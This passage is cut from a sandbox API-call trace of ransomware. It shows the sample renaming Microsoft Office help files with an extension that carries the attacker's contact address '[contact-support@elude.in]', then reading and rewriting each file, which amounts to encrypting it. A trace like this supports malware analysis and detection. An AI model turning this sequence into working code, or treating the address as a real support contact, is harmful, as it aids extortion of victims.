Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_O~1.FIR")) returned 0x6d54c0 [0146.840] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0146.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0146.840] GetProcessHeap () returned 0x630000 [0146.840] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4628 [0146.840] GetProcessHeap () returned 0x630000 [0146.840] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4bc8 [0146.840] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.840] ReadFile (in: hFile=0x684, lpBuffer=0x6a4628, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4628*, lpNumberOfBytesRead=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.842] GetProcessHeap () returned 0x630000 [0146.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.842] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.842] WriteFile (in: hFile=0x684, lpBuffer=0x6a4bc8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4bc8*, lpNumberOfBytesWritten=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.842] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.842] WriteFile (in: hFile=0x684, lpBuffer=0x6a4c27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4c27*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.842] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.842] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.842] CloseHandle (hObject=0x684) returned 1 [0146.842] GetProcessHeap () returned 0x630000 [0146.842] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4bc8 | out: hHeap=0x630000) returned 1 [0146.842] GetProcessHeap () returned 0x630000 [0146.842] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4628 | out: hHeap=0x630000) returned 1 [0146.842] GetProcessHeap () returned 0x630000 [0146.842] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.843] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d79b256, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x3f7fd20, dwReserved1=0x6a4628, cFileName="LYNC_ONLINE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_O~1.FIR")) returned 0x6d5280 [0146.843] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.843] Sleep (dwMilliseconds=0x1) [0146.854] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK", len=0x4a | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK") returned 1 [0146.854] GetProcessHeap () returned 0x630000 [0146.854] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26c0) returned 0x71f7c78 [0146.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0146.855] CloseHandle (hObject=0x4b8) returned 1 [0146.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.855] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_O~2.FIR")) returned 0x6d5540 [0146.856] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0146.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0146.856] GetProcessHeap () returned 0x630000 [0146.856] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a47d8 [0146.856] GetProcessHeap () returned 0x630000 [0146.856] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4628 [0146.856] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.856] ReadFile (in: hFile=0x4b8, lpBuffer=0x6a47d8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a47d8*, lpNumberOfBytesRead=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.857] GetProcessHeap () returned 0x630000 [0146.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0146.857] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.857] WriteFile (in: hFile=0x4b8, lpBuffer=0x6a4628*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4628*, lpNumberOfBytesWritten=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.857] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.858] WriteFile (in: hFile=0x4b8, lpBuffer=0x6a4687*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4687*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.858] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.858] WriteFile (in: hFile=0x4b8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.858] CloseHandle (hObject=0x4b8) returned 1 [0146.858] GetProcessHeap () returned 0x630000 [0146.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4628 | out: hHeap=0x630000) returned 1 [0146.858] GetProcessHeap () returned 0x630000 [0146.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a47d8 | out: hHeap=0x630000) returned 1 [0146.858] GetProcessHeap () returned 0x630000 [0146.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0146.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d7c1494, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x3f7fd20, dwReserved1=0x6a47d8, cFileName="LYNC_ONLINE_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_O~2.FIR")) returned 0x6d5440 [0146.858] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0146.858] Sleep (dwMilliseconds=0x1) [0146.870] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT", len=0x48 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT") returned 1 [0146.870] GetProcessHeap () returned 0x630000 [0146.870] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26bc) returned 0x71f7c78 [0146.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0146.870] CloseHandle (hObject=0x4bc) returned 1 [0146.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_O~3.FIR")) returned 0x6d5000 [0146.871] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0146.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0146.872] GetProcessHeap () returned 0x630000 [0146.872] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x718588 [0146.872] GetProcessHeap () returned 0x630000 [0146.872] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x717a48 [0146.872] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.872] ReadFile (in: hFile=0x4bc, lpBuffer=0x718588, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718588*, lpNumberOfBytesRead=0x3f7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.873] GetProcessHeap () returned 0x630000 [0146.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.873] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.873] WriteFile (in: hFile=0x4bc, lpBuffer=0x717a48*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717a48*, lpNumberOfBytesWritten=0x3f7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.874] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.874] WriteFile (in: hFile=0x4bc, lpBuffer=0x717b07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717b07*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.874] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.874] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.874] CloseHandle (hObject=0x4bc) returned 1 [0146.874] GetProcessHeap () returned 0x630000 [0146.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717a48 | out: hHeap=0x630000) returned 1 [0146.874] GetProcessHeap () returned 0x630000 [0146.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718588 | out: hHeap=0x630000) returned 1 [0146.874] GetProcessHeap () returned 0x630000 [0146.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.874] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d7e7670, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x3f7fd20, dwReserved1=0x718588, cFileName="LYNC_ONLINE_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_O~3.FIR")) returned 0x6d4e40 [0146.874] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0146.875] Sleep (dwMilliseconds=0x1) [0146.886] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC", len=0x48 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC") returned 1 [0146.886] GetProcessHeap () returned 0x630000 [0146.886] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26b8) returned 0x71f7c78 [0146.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0146.943] CloseHandle (hObject=0x3f8) returned 1 [0146.943] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.944] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa38f59d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LY13AC~1.FIR")) returned 0x6d4f40 [0146.944] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0146.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0146.944] GetProcessHeap () returned 0x630000 [0146.944] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c3e0 [0146.944] GetProcessHeap () returned 0x630000 [0146.944] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c6a8 [0146.944] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.945] ReadFile (in: hFile=0x3f8, lpBuffer=0x67c3e0, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c3e0*, lpNumberOfBytesRead=0x3f7ff0c*=0x280, lpOverlapped=0x0) returned 1 [0146.949] GetProcessHeap () returned 0x630000 [0146.949] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0146.949] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.949] WriteFile (in: hFile=0x3f8, lpBuffer=0x67c6a8*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c6a8*, lpNumberOfBytesWritten=0x3f7ff0c*=0x280, lpOverlapped=0x0) returned 1 [0146.949] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.949] WriteFile (in: hFile=0x3f8, lpBuffer=0x67c927*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c927*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.949] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.949] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.949] CloseHandle (hObject=0x3f8) returned 1 [0146.949] GetProcessHeap () returned 0x630000 [0146.949] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c6a8 | out: hHeap=0x630000) returned 1 [0146.949] GetProcessHeap () returned 0x630000 [0146.949] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c3e0 | out: hHeap=0x630000) returned 1 [0146.949] GetProcessHeap () returned 0x630000 [0146.949] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0146.950] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.950] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d8a61e4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2af, dwReserved0=0x3f7fd20, dwReserved1=0x67c3e0, cFileName="LYNC_ONLINE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LY13AC~1.FIR")) returned 0x6d5280 [0146.950] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.950] Sleep (dwMilliseconds=0x1) [0147.042] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK", len=0x43 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK") returned 1 [0147.042] GetProcessHeap () returned 0x630000 [0147.042] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26b0) returned 0x71f7c78 [0147.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 